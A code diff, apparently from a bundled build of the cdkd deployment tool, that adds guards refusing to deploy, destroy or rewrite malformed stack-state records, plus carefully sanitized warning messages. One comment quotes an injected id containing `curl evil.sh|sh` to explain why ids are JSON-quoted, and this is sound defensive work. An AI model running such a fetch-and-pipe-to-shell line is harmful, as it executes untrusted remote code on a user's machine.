+* change alone satisfies — so a record holding `"resources": null` and a
+* plaintext secret in `outputs` would be scrubbed, and then saved back with a
+* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
+* signal that anything is wrong; laundering it into a legitimate-looking empty
+* one is permanent and silent. The next `cdkd deploy` then reads zero resources
+* and CREATES the whole stack a second time, and the next `cdkd destroy`
+* deletes nothing and orphans every live resource — and the one-shot warning
+* that would have said so is long gone, quite possibly for a different
+* operator. `cdkd import --force` launders it the same way.
+*
+* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
+* this names the stack, the region, the defect and the remedy, and exits on a
+* code rather than on a stack trace.
+*/
+function refuseMalformedState(state, stackName, region) {
+	if (hasReadableResources(state)) return;
+	throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
+}
+/**
+* The `outputs` half of {@link malformedStateRefusalMessage}, for the same
+* reason that one is exported separately from the throw: `cdkd scrub`'s exit
+* `1` is spoken for and it raises its own exit-2 class around this text.
+*
+* A DIFFERENT text from the `resources` refusal because the consequence of
+* continuing differs, the same way the three warnings in this module differ. The
+* `resources` message forbids `cdkd deploy` / `cdkd destroy` because an
+* unreadable resource MAP is indistinguishable from an empty stack; the resource
+* set is intact here. What is at stake instead is the SHARED exports index:
+* `cdkd/_index/<region>/exports.json` is rebuilt from these bags, and a string
+* bag published one fabricated export per character into the namespace every
+* other stack's `Fn::ImportValue` binds against.
+*
+* Identifiers are sanitized and THEN shell-quoted and the command is emitted
+* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
+*/
+function malformedOutputsRefusalMessage(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* The line `ExportIndexStore`'s rebuild emits for a producer record whose
+* export set it could not read (issue go-to-k/cdkd#3192) — `outputs` not a
+* plain object, or `exportNames` present and not an array.
+*
+* A THIRD outputs text rather than {@link malformedOutputsWarning} because the
+* consequence is again different, which is the rule the two above already
+* follow. That one describes a DIFF continuing with an empty left-hand side.
+* This describes a record CONTRIBUTING NOTHING to a shared, region-wide index
+* other stacks resolve against — so the symptom a reader will actually meet is
+* a later `Fn::ImportValue` failing in a DIFFERENT stack, naming the consumer
+* and not this record. Saying which producer dropped out is the whole value of
+* the line.
+*
+* It says the rebuild CONTINUES, because it does: refusing would take every
+* other producer in the region down with it, and the index is best-effort by
+* design.
+*
+* Identifiers are sanitized and THEN shell-quoted and the command is emitted
+* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
+*/
+function malformedExportSourceWarning(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* The line a READ-ONLY command emits when a record's `exportNames` FIELD could
+* not be used (go-to-k/cdkd#3192 review) — present and not an array, or an
+* array with no usable name in it.
+*
+* Why a message at all, when the predicate already fails closed: before this
+* class was guarded, `cdkd diff` over such a record died with
+* `TypeError: state.exportNames.filter is not a function`. Failing closed
+* inside `importableOutputKeys` is right — it is a pure predicate reached from
+* five commands and holds no stack identity — but silently replacing a LOUD
+* wrong answer with a QUIET one is its own regression, and `cdkd diff` is
+* exactly the caller that DOES hold the identity. Without this it warned about
+* a damaged `outputs` bag on one line and said nothing about the damaged
+* `exportNames` on the same record.
+*
+* Deliberately NOT {@link malformedOutputsWarning}'s text: that one is about
+* the BAG, and the consequence differs. An unusable export SET does not lose
+* the comparison's left-hand side — every stored key is still diffed — it
+* makes the preview report no key as an export, so a row that would carry
+* `[export]` renders without it.
+*
+* Identifiers are sanitized and THEN shell-quoted and the command is emitted
+* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
+*/
+function malformedExportNamesWarning(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* For a command that can WRITE state: refuse a record whose `outputs` bag
+* cannot be read, instead of rebuilding it (issue go-to-k/cdkd#3192).
+*
+* The SIBLING of {@link refuseMalformedState}, and deliberately a second call
+* rather than a widening of that one. A record can be malformed in either
+* container alone, the two carry different consequences, and the refusal a user
+* sees must name the container that is actually broken — a `resources` message
+* printed over an intact resource map tells them not to run `cdkd deploy` for a
+* reason that does not hold.
+*
+* Why REFUSE and not {@link repairMalformedOutputsForReadOnly}, which is the
+* opposite answer for the same container one function up: repairing the bag and
+* then saving it IS the laundering this is here to stop. Measured, not
+* reasoned — `rewriteResourceReferences` turns `outputs: 'abcdef'` into
+* `{"0":"a",…,"5":"f"}` and `cdkd orphan` saves that; `cdkd scrub`'s
+* `redactUnaccountedOutputs` spreads the same string into a map and its
+* `outputsChanged` compare then satisfies the `recordsChanged > 0` write gate;
+* `cdkd import` carries a `null` bag through `?? {}`. Each one rewrites a
+* damaged record into a well-formed one and the evidence is gone.
+*
+* CALL IT AT THE LOAD, beside {@link refuseMalformedState} and above the first
+* expression that reads the bag — the placement rule
+* {@link repairMalformedResourcesForReadOnly}'s note records, for the reason it
+* records: a guard written at the rebuild leaves every earlier dereference in
+* front of it.
+*/
+function refuseMalformedOutputs(state, stackName, region) {
+	if (hasReadableOutputs(state)) return;
+	throw new CdkdError(malformedOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
+}
+/**
+* The DESTROY refusal text (issue
+* [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
+*
+* A FOURTH outputs text rather than {@link malformedOutputsRefusalMessage},
+* for the reason every text in this module is its own: that one says the
+* command "REBUILDS the bag before saving", which is FALSE here. A destroy
+* never rebuilds the bag — its incremental preserve-writes CLEAR `outputs`
+* outright. What it does with the bag instead is DECIDE, and the decision is
+* the strong-reference pre-flight: `state.outputs && Object.keys(...).length >
+* 0` asks "might this stack be a producer?", and only a positive answer runs
+* the cross-stack scan that refuses to delete an exporter while an importer
+* exists.
+*
+* Both directions of that question are wrong on a damaged bag, which is why
+* repairing is not available here. A STRING or a LIST answers YES for the
+* wrong reason — `Object.keys('abcdef')` is six fabricated names — and a
+* `null`, a number or a boolean answers NO, so the scan is SKIPPED and the
+* destroy deletes a producer other stacks still `Fn::ImportValue` from.
+* Reading the bag as empty (the read-only repair) IS that second answer, so
+* the only answer that fabricates nothing and skips no protection is to stop.
+*
+* Identifiers are sanitized and THEN shell-quoted and the command is emitted
+* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
+*/
+function malformedDestroyOutputsRefusalMessage(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command DELETES state, so it refuses rather than continuing: it reads this bag to decide whether the stack might export anything, and that decision gates the cross-stack check that refuses to delete a producer another stack still imports from. A string or a list invents one export name per character or element; a null, a number or a boolean reads as 'exports nothing' and SKIPS the check entirely, deleting the record while consumers still resolve against it. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* For `cdkd destroy` / `cdkd state destroy`: refuse a record whose `outputs`
+* bag cannot be read (issue
+* [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
+*
+* A SEPARATE call from {@link refuseMalformedOutputs} rather than a flag on
+* it, for the same reason {@link refuseMalformedOutputs} is separate from
+* {@link refuseMalformedState}: the refusal a user sees must describe what
+* THIS command would have done with the bag, and the two consequences are
+* different — see {@link malformedDestroyOutputsRefusalMessage}.
+*
+* CALL IT AT THE TOP OF THE DESTROY, above the strong-reference decision it
+* protects. The placement rule is
+* {@link repairMalformedResourcesForReadOnly}'s and applies unchanged.
+*/
+function refuseMalformedOutputsForDestroy(state, stackName, region) {
+	if (hasReadableOutputs(state)) return;
+	throw markNonRetryable(new CdkdError(malformedDestroyOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED));
+}
+/**
+* The NESTED-STACK refusal text (issue
+* [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
+*
+* A FIFTH text, and the one whose damaged record and saved record are
+* DIFFERENT stacks. `NestedStackProvider.readChildOutputsAsAttributes` reads
+* the CHILD's persisted bag and rebuilds it into the PARENT's
+* `Outputs.<Key>` attributes; the parent's deploy then persists those
+* attributes into the parent's own record, where every `Fn::GetAtt` against
+* the nested stack resolves them — into live AWS calls. So a six-character
+* child bag becomes six fabricated parent attributes, and
+* {@link malformedOutputsRefusalMessage}'s "saved back as a well-formed
+* six-key map ... republished into the shared exports index" would name the
+* wrong record and the wrong blast radius.
+*
+* Identifiers are sanitized and THEN shell-quoted and the command is emitted
+* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
+*/
+function malformedNestedChildOutputsRefusalMessage(childStackName, region) {
+	const stack = safeIdentifier(childStackName);
+	const reg = safeIdentifier(region);
+	return `State for nested stack child ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. The parent's 'Outputs.<Key>' attributes are REBUILT from this bag and persisted into the PARENT's record, and 'Object.entries' walks a string or a list as readily as a map — so a six-character value would become six fabricated parent attributes that every Fn::GetAtt against this nested stack then resolves into live AWS calls. The deploy refuses rather than fabricating them. Repair or remove the child's record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/**
+* For the nested-stack provider: refuse a CHILD record whose `outputs` bag
+* cannot be read (issue [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
+*
+* The provider itself calls no `saveState`, and that is why this is a refusal
+* rather than a repair anyway: what it returns becomes the parent's
+* `ResourceState.attributes`, which the parent's deploy engine persists. Being
+* write-capable THROUGH A CALLER is the same hazard as writing directly, and
+* repairing here would put a well-formed fabricated attribute set into the
+* parent's record with nothing left to say the child was damaged.
+*/
+function refuseMalformedNestedChildOutputs(state, childStackName, region) {
+	if (hasReadableOutputs(state)) return;
+	throw markNonRetryable(new CdkdError(malformedNestedChildOutputsRefusalMessage(childStackName, region), STATE_RESOURCES_MALFORMED));
+}
+/**
+* The warning the `cdkd local *` commands emit for a record whose `outputs`
+* bag they had to read as EMPTY (issue
+* [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
+*
+* A SIXTH text, and the only one on this container for a READ-ONLY caller
+* other than {@link malformedOutputsWarning}. It is not that one because the
+* consequence differs the same way every text in this module differs: that one
+* describes a DIFF continuing with an empty left-hand side and reporting every
+* resolved output as an `ADD`. A local run reports no rows at all — it
+* SUBSTITUTES, so the visible effect is an environment variable or a
+* `Fn::GetStackOutput` / `Fn::ImportValue` reference that resolves to nothing
+* and is dropped with a per-key warning, which is what "the record holds no
+* outputs" also looks like.
+*
+* TWO call sites share it, deliberately: `S3LocalStateProvider.load` reading
+* the TARGET stack's record, and `buildCrossStackResolver`'s
+* `Fn::GetStackOutput` arm reading a PRODUCER's. The record named is whichever
+* one is damaged, and the consequence is identical — which is why one text is
+* right here and a second spelling would only drift.
+*
+* Read-only is a property of these callers rather than of the command:
+* `cdkd local` writes no `state.json`. It CAN write one DERIVED key —
+* `ExportIndexStore.load` rebuilds and PUTs `cdkd/_index/<region>/exports.json`
+* on a miss — and that write is already fail-closed and warned about by
+* `hasReadableExportSet` / {@link malformedExportSourceWarning}, so nothing
+* here can launder a record.
+*
+* Identifiers are sanitized and THEN shell-quoted and the command is emitted
+* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
+*/
+function malformedLocalOutputsWarning(stackName, region) {
+	const stack = safeIdentifier(stackName);
+	const reg = safeIdentifier(region);
+	return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so reading it would hand this local run one FABRICATED output per character or element. Continuing with it EMPTY: every reference to an output of this record resolves to nothing and is dropped, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
+}
+/** How many logical ids a `properties` message names before it says "and N more". */
+const NAMED_UNREADABLE_PROPERTY_BAGS = 5;
+/**
+* The `State for '<stack>' ('<region>')` opening of a `properties` message,
+* and the matching `--stack-region` flag on its remedy command.
+*
+* **BOTH are optional, and an ABSENT identity is not a degraded case — it is
+* the only honest one for a caller that holds no TRUSTED identity.**
+* `src/analyzer/diff-calculator.ts` is exactly that caller: it receives a
+* `StackState` and nothing else, and `parseStateBody` validates neither
+* `stackName` nor `region`, so the record being declared malformed would be
+* naming ITSELF. An attacker holding `s3:PutObject` on one stack's key could
+* then plant `"stackName": "prod-payments"` in a `dev` record and have the
+* refusal hand the operator a pasteable `cdkd state show 'prod-payments'
+* --stack-region '...'` — a destructive instruction aimed at a healthy record,
+* while the damaged one goes unnamed (review of go-to-k/cdkd#3191). Every
+* other refusal in this module takes the CALLER's resolved identity, and this
+* one drops the clause instead rather than inventing or borrowing one.
+*
+* `src/cli/commands/diff-recursive.ts` DOES hold a trusted pair — the
+* `stackName` / `region` its own load was keyed on — so the read-only warning
+* passes them and the asymmetry is the point rather than an oversight. A later
+* lane that threads the trusted pair into `calculateDiff` passes it here with
+* no signature change.
+*
+* A region may also be absent on a v1 record, which predates the
+* region-prefixed key layout. A placeholder would put a `--stack-region` into
+* a pasted command that selects no record at all, so it is dropped for the
+* same reason — the call go-to-k/cdkd#3226 makes for `malformedStateDetail`.
+*/
+function stackClause(stackName, region) {
+	if (stackName === void 0) return "The state record this command loaded";
+	const where = region === void 0 ? "" : ` (${shellQuote(safeIdentifier(region))})`;
+	return `State for ${shellQuote(safeIdentifier(stackName))}${where}`;
+}
+/** The remedy command {@link stackClause}'s message ends on. */
+function inspectCommand(stackName, region) {
+	if (stackName === void 0) return "cdkd state show <stack> --stack-region <region> --json";
+	const flag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeIdentifier(region))}`;
+	return `cdkd state show ${shellQuote(safeIdentifier(stackName))}${flag} --json`;
+}
+/**
+* The logical ids whose resource record carries a `properties` bag that cannot
+* be read as a map (issue
+* [#3191](https://github.com/go-to-k/cdkd/issues/3191)).
+*
+* A THIRD container, on the ENTRY rather than on the record root, and it is a
+* separate predicate from {@link hasReadableResources} for the reason every
+* split in this module is: the CONSEQUENCE differs. An unreadable `resources`
+* map reads as an empty STACK; an unreadable `properties` bag reads as a
+* resource whose every declared property is MISSING, which
+* `src/analyzer/diff-calculator.ts` turns into a property-change set and, for
+* a create-only property, into a REPLACEMENT of the live resource.
+*
+* `undefined` is NOT exempt here, unlike in {@link hasReadableOutputs}. That
+* exemption exists because cdkd itself writes records with no `outputs` key —
+* `JSON.stringify` drops an `undefined` field on the deploy's failure-path
+* saves. Nothing writes a resource record with no `properties`: every writer
+* in `src/` assigns an object (`cdkd import` spells it `Properties ?? {}`),
+* `JSON.stringify` never drops a `{}`, and the field is REQUIRED by
+* `ResourceState`. An absent bag is therefore a hand edit or a truncation, and
+* it is one of the two shapes that used to die on a bare `TypeError` naming no
+* stack, no key and no remedy (`Cannot convert undefined or null to object`).
+*
+* An entry that is not a readable OBJECT is SKIPPED rather than named, so this
+* verdict is ORDER-INDEPENDENT with respect to the entry-level guard
+* go-to-k/cdkd#3226 adds: a `null` entry has no `properties` to test, and
+* reading one off a string entry would name a per-character defect that is
+* really the entry's. Likewise a `resources` bag that is not readable at all
+* yields `[]` here rather than ids invented from a string's characters — that
+* class is {@link hasReadableResources}'s to report. What a caller must not do
+* is take only this one.
+*/
+function unreadableResourcePropertyBags(state) {
+	if (!hasReadableResources(state)) return [];
+	return Object.entries(state.resources).filter(([, entry]) => isReadableBag(entry) && !isReadableBag(entry.properties)).map(([logicalId]) => logicalId);
+}
+/**
+* For a command that can WRITE state — `cdkd deploy` — refuse the record
+* naming the resources whose `properties` bag could not be read (issue
+* [#3191](https://github.com/go-to-k/cdkd/issues/3191)).
+*
+* **REFUSE, and repairing to `{}` is not the safe alternative here — it is the
+* SAME outcome.** That is the measurement the issue asked for, and it is what
+* settles the contract rather than the write-capable rule alone. Driven
+* through the real `DiffCalculator` against an `AWS::S3::Bucket` declaring
+* `BucketName`, a stored `properties` of `"abcdef"`, `[]` and `5` each
+* produced a property change carrying `requiresReplacement: true` — and `[]`
+* and `5` enumerate no keys, so they ARE the repaired-to-empty case. A repair
+* would launder a torn record into a silent REPLACE of a live resource, which
+* is the data loss the guard exists to prevent; only a refusal closes it.
+*
+* The cost is stated rather than argued away: a deploy over ONE torn record
+* aborts the whole run, including the stacks and resources that are fine.
+* That is the right trade against replacing a resource nobody asked to
+* replace, and it is paid before anything irreversible: the refusal is raised
+* from the diff, so nothing is provisioned and no state is written for the
+* stack, and the deploy's lock is released by its own `finally`. NOT "before
+* any provider call" — that claim is false and was corrected in review:
+* `DeployEngine.kickOffAutoRefreshObservedProperties` fires fire-and-forget
+* `provider.readCurrentState` READS earlier in the same run. They persist
+* nothing, because the save they would be drained into never happens.
+*
+* The identity in the message is the CALLER's, never the record's — see
+* {@link stackClause}, where an absent identity is the honest case rather than
+* a degraded one.
+*
+* Deliberately NOT folded into {@link refuseMalformedState}, for the reason
+* {@link unreadableResourcePropertyBags} gives: that predicate answers a
+* question about the record ROOT, and its four callers (`cdkd scrub`,
+* `import`, `orphan`, `rollback`) have made no decision about this one. Three
+* of them do not compare properties at all, and `cdkd rollback` replays a
+* journal rather than diffing, so an unrelated broken bag would stop the
+* command documented as the way to UNWIND a stack whose state is already
+* suspect. This rule is OPT-IN, taken by the flow that COMPARES the bag.
+*/
+function refuseMalformedResourceProperties(state, stackName, region) {
+	const unreadable = unreadableResourcePropertyBags(state);
+	if (unreadable.length === 0) return;
+	throw markNonRetryable(new CdkdError(malformedResourcePropertiesRefusalMessage(stackName, region, unreadable), STATE_RESOURCES_MALFORMED));
+}
+/**
+* For a READ-ONLY command — `cdkd diff` — give each unreadable `properties`
+* bag an empty map so the command can report on the record, and return the ids
+* so the caller can warn.
+*
+* The read-only twin of {@link refuseMalformedResourceProperties}, and the
+* WRITE is what makes the difference, not the shape: `cdkd diff` persists
+* nothing, so it cannot launder the evidence, and previewing the remaining
+* resources beats aborting the whole preview over one torn bag.
+*
+* Repair-to-`{}` rather than a DROP of the whole entry, because an empty bag
+* IS honest for this container: the entry still names a real `resourceType`
+* and `physicalId`, so it belongs in the diff as a row.
+* Dropping it would report the resource as a CREATE, inventing a change the
+* next deploy does not make.
+*
+* What the repair does NOT do is make the preview accurate, which is why the
+* warning is not optional. The caller says so in
+* {@link malformedResourcePropertiesWarning}'s terms, which are deliberately
+* wider than "previewed as an addition": a node whose template is GONE —
+* `buildDeletedSubtree` diffs a removed nested child against an EMPTY template
+* — declares nothing, so its rows are DELETEs whose previous side is now the
+* repaired `{}` rather than what the record holds.
+*
+* Call it AFTER {@link repairMalformedResourcesForReadOnly}: an unreadable BAG
+* has no entries to walk, and the predicate deliberately returns `[]` for one.
+*
+* And call it again after anything that SPLICES further records into
+* `state.resources` — `computeStackDiff`'s rollback-orphan adoption is the one
+* such site, and its records come straight from `state.orphans[].state`, which
+* this load never walked (review of go-to-k/cdkd#3191).
+*/
+function repairMalformedResourcePropertiesForReadOnly(state) {
+	const unreadable = unreadableResourcePropertyBags(state);
+	for (const logicalId of unreadable) state.resources[logicalId].properties = {};
+	return unreadable;
+}
+/**
+* The half the refusal and the warning share: what is wrong and which records.
+*
+* ONE spelling rather than two, for the reason {@link malformedStateDetail}
+* exists beside its own pair — the two texts differ only in what happens NEXT,
+* and a second copy of the diagnosis is what drifts.
+*
+* The STACK and REGION go through {@link safeIdentifier} and are THEN
+* shell-quoted, for the reasons that helper's own note gives: each reaches this
+* text from a hand-edited record or an S3 key.
+*
+* **The LOGICAL IDS take `displayIdent` instead, and NOT `shellQuote`** — the
+* answer {@link safeIdentifier}'s note already prescribes for names in a
+* `', '`-joined list, applied one level down. The three properties that matters
+* for, in the order they bite:
+*
+* 1. **IDENTITY.** `displaySafe` TRIMS, so a sanitize-and-quote pair renders
+*    `"Bucket "`, `" Bucket"` and `"Bucket\t"` byte-identically to a HEALTHY
+*    sibling key spelled `Bucket`. Plant a torn `resources["Bucket "]` beside a
+*    real `Bucket` and the refusal names the intact record: the operator opens
+*    it, finds nothing wrong, and concludes cdkd is the broken party while the
+*    damaged entry goes unnamed. That is the same misdirection go-to-k/cdkd#3164
+*    closed for stack names and the review of go-to-k/cdkd#3191 closed for this
+*    module's identity clause. `displayIdent` compares the sanitized text
+*    against the raw one and JSON-quotes whenever they differ, so a padded id
+*    can never render bare.
+* 2. **BOUNDARY.** JSON-quoting escapes the `'` an id spelled
+*    `x' Inspect it with: curl evil.sh|sh #` would otherwise use to plant a
+*    forged remedy ahead of the real one, on a line that ends in a pasteable
+*    command. It also supplies the quotes the old `shellQuote` wrapper added —
+*    which is why the wrapper GOES rather than composing, per the same note.
+* 3. **TRUNCATION.** `[cut: N more characters withheld]` cannot be mistaken for
+*    content, where the old `...` tail was indistinguishable from a legitimate
+*    id ending `Prod...`.
+*
+* The cap is passed EXPLICITLY although it equals the default: a logical id is
+* valid up to `IDENT_MAX_CODE_POINTS`, and the point of not reusing
+* {@link safeIdentifier} here is that its 128 would truncate a legitimate long
+* id into one naming no record. Spelling the cap keeps that decision visible at
+* the site it was made for.
+*
+* Known residual, NOT introduced here: `,` is in `PLAIN_IDENT`, so an id
+* carrying one still renders bare inside this `', '`-joined list and reads as
+* two entries — the joined-list ambiguity recorded on go-to-k/cdkd#3179 for
+* every caller of the helper, not a property of this one.
+*
+* NAMED rather than listed in full: a record whose 500 resources were all
+* hand-edited must not push the remedy command off the reader's screen.
+*
+* REFUSES an empty list rather than rendering `holds 0 resource record(s) — —`.
+* Both callers guard, but they are exported and a later one need not (review of
+* go-to-k/cdkd#3191).
+*/
+function namedPropertyBagsClause(stackName, region, logicalIds) {
+	if (logicalIds.length === 0) throw new Error("malformed-resources-bag: a properties message needs at least one logical id to name");
+	const named = logicalIds.slice(0, NAMED_UNREADABLE_PROPERTY_BAGS).map((id) => displayIdent(id, { maxCodePoints: 255 })).join(", ");
+	const rest = logicalIds.length - NAMED_UNREADABLE_PROPERTY_BAGS;
+	const more = rest > 0 ? ` and ${rest} more` : "";
+	return `${stackClause(stackName, region)} holds ${logicalIds.length} resource record(s) whose 'properties' map cannot be read — ${named}${more} — because it is absent, null, or not an object. The record is malformed or truncated. Comparing a template against one reports every property the template declares as ADDED (a string bag also invents one change per character), and a create-only property among them is a REPLACEMENT of the live resource.`;
+}
+/**
+* The text {@link refuseMalformedResourceProperties} raises.
+*
+* `stackName` / `region` are the CALLER's resolved identity or nothing at all;
+* {@link stackClause} is the authority for why this one may be handed neither.
+*
+* **It must be true under `cdkd deploy --dry-run` as well**, and the first
+* revision was not. Provisioning is gated AFTER the diff
+* (`deploy-engine.ts`'s `if (this.options.dryRun)` return sits below
+* `calculateDiff`), so a dry run reaches this refusal and aborts — while the
+* text asserted "it would DELETE and re-create resources", which a dry run
+* would not do. A refusal that misstates what was about to happen is the same
+* defect class as one naming the wrong record (review of go-to-k/cdkd#3191).
+*
+* **A dry run REFUSES rather than repairing, and that is the decision.** The
+* repair-and-warn half of this container belongs to `cdkd diff`, and the
+* argument recorded for it in `.claude/rules/state-malformed-properties.md` —
+* "a preview of the rest of the stack beats an abort" — does not transfer,
+* because it is already SATISFIED by that sibling: a user who wants the
+* repaired preview runs `cdkd diff` and gets it, with the warning. `cdkd diff`
+* refusing would leave no way to preview at all; `cdkd deploy --dry-run`
+* refusing costs nothing that is not available one command over. Against that,
+* repairing here would need a mode threaded into `calculateDiff`, the single
+* chokepoint whose whole value is that both callers share it — and it would
+* create the worst arm of all: a plausible-looking `--dry-run` plan followed
+* by a refusal the moment the flag comes off. So the message points at
+* `cdkd diff` instead of weakening the guard.
+*/
+function malformedResourcePropertiesRefusalMessage(stackName, region, logicalIds) {
+	return `${namedPropertyBagsClause(stackName, region, logicalIds)} 'cdkd deploy' can WRITE state and AWS resources, so it refuses rather than continuing — under '--dry-run' too, because the plan a dry run would print is the wrong one: a DELETE and re-create of resources the template did not change, and reading the bag as empty produces that same verdict rather than avoiding it. Nothing was provisioned and no state was written FOR THIS STACK. Repair or remove the record first; 'cdkd diff' previews the rest of the stack with those maps read as EMPTY and warns that it did. Inspect the record with: ${inspectCommand(stackName, region)}`;
+}
+/**
+* The warning a caller of {@link repairMalformedResourcePropertiesForReadOnly}
+* emits.
+*/
+function malformedResourcePropertiesWarning(stackName, region, logicalIds) {
+	return `${namedPropertyBagsClause(stackName, region, logicalIds)} Continuing with those maps EMPTY: what these records are stored as holding is NOT what this preview compares against. Where the template still declares the resource, every property it declares previews as an addition and a create-only one as a replacement; where it no longer declares it, the DELETE row shows an empty previous side instead of the stored one. Do NOT run 'cdkd deploy' against this record — it REFUSES on the same defect rather than acting on this preview. See the stored values with: ${inspectCommand(stackName, region)}`;
+}
+/**
+* The key a warned-once-per-record `Set` uses to identify a producer RECORD.
+*
+* ONE spelling, shared by `scrub.ts`'s cross-stack pre-pass and
+* `local-state-loader.ts`'s `Fn::GetStackOutput` reader, because two spellings
+* of one rule is how nine sites stay right and the tenth drifts — the same
+* reason every predicate in this module is here rather than at its call sites.
+*
+* ENCODED, not separated, and issue
+* [#3308](https://github.com/go-to-k/cdkd/issues/3308) is the measurement
+* behind that. Both sites previously joined the two halves with a NUL, which
+* NARROWS the collision without closing it: a stack name is read out of an S3
+* key and is exactly as attacker-controlled as the `outputs` bag, so it can
+* carry a NUL too — `tests/unit/cli/commands/scrub-malformed-and-nameless.test.ts`
+* already plants one. Measured: with a NUL separator, stack `Evil<NUL>us-east-1`
+* in `ap-northeast-1` and stack `Evil` in region `us-east-1<NUL>ap-northeast-1`
+* produce the SAME key, so whichever is warned about second is silently not
+* warned about at all.
+*
+* `JSON.stringify` of a two-element array is injective over string pairs: the
+* quoting escapes anything that could imitate the separator, so no planted name
+* can produce another pair's key.
+*
+* The consequence of a collision is one dropped warning LINE, never a wrong
+* resolution — both records are still read as empty and both reads still miss.
+* That is why this is worth one shared helper rather than a larger mechanism.
+*/
+function producerRecordKey(stackName, region) {
+	return JSON.stringify([stackName, region]);
+}
+
 //#endregion
 //#region src/analyzer/diff-calculator.ts
 /**
@@ -20465,6 +21441,7 @@ var DiffCalculator = class DiffCalculator {
 	*/
 	async calculateDiff(currentState, desiredTemplate, resolveFn, canonicalizeProperties, allowedUnsupportedProperties) {
 		const changes = /* @__PURE__ */ new Map();
+		refuseMalformedResourceProperties(currentState, void 0, void 0);
 		const currentResources = currentState.resources;
 		const desiredResources = desiredTemplate.Resources;
 		this.logger.debug("Calculating diff...");
@@ -20984,6 +21961,133 @@ var DiffCalculator = class DiffCalculator {
 	}
 };
 
+//#endregion
+//#region src/utils/caller-credentials.ts
+/**
+* The CALLER's own AWS identity, for the one channel that reaches a workload
+* cdkd merely emulates (issue
+* [#3130](https://github.com/go-to-k/cdkd/issues/3130)).
+*
+* WHY THIS EXISTS
+*
+* `applyRoleArnIfSet` (`src/utils/role-arn.ts`) assumes `--role-arn` /
+* `CDKD_ROLE_ARN` and then OVERWRITES `process.env.AWS_ACCESS_KEY_ID` /
+* `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN` with the role's, so that clients
+* built outside `src/**` (cdk-local's own, the CDK app subprocess) run as the
+* role too. Every `cdkd local *` command then COPIES that triple out of
+* `process.env` into the emulated Lambda / AgentCore container's environment —
+* so `cdkd local invoke --role-arn arn:aws:iam::222:role/cdkd-deploy MyFn` ran
+* the user's local handler AS THE DEPLOY ROLE, normally the more privileged of
+* the two identities and never the one the flag asked for.
+*
+* The SDK-client half of that class was closed by threading
+* `awsClientDefaults({ ignoreAssumedRole: true })` through every client on the
+* surface. That opt-out cannot reach this channel: the value here is not a
+* client config, it is three environment variables whose ORIGINAL contents the
+* assume already destroyed. So `applyRoleArnIfSet` snapshots them first
+* (`setPreAssumeEnvCredentials`) and this module is what turns the snapshot back
+* into an answer.
+*
+* THE ANSWER IS "WHAT WOULD THE CONTAINER HAVE RECEIVED WITHOUT `--role-arn`"
+*
+* Not "who is the caller" in the SDK's sense — that question has a different
+* answer when a profile is selected, and `resolveProfileCredentials` +
+* `applyProfileCredentialsOverlay` already answer it for the `--profile` case
+* and still win, because they are applied AFTER this restore. What this module
+* restores is exactly the status quo ante: the bytes `forwardAwsEnv` would have
+* copied had no role been assumed.
+*
+* WHEN THERE IS NOTHING TO RESTORE, NOTHING IS FORWARDED
+*
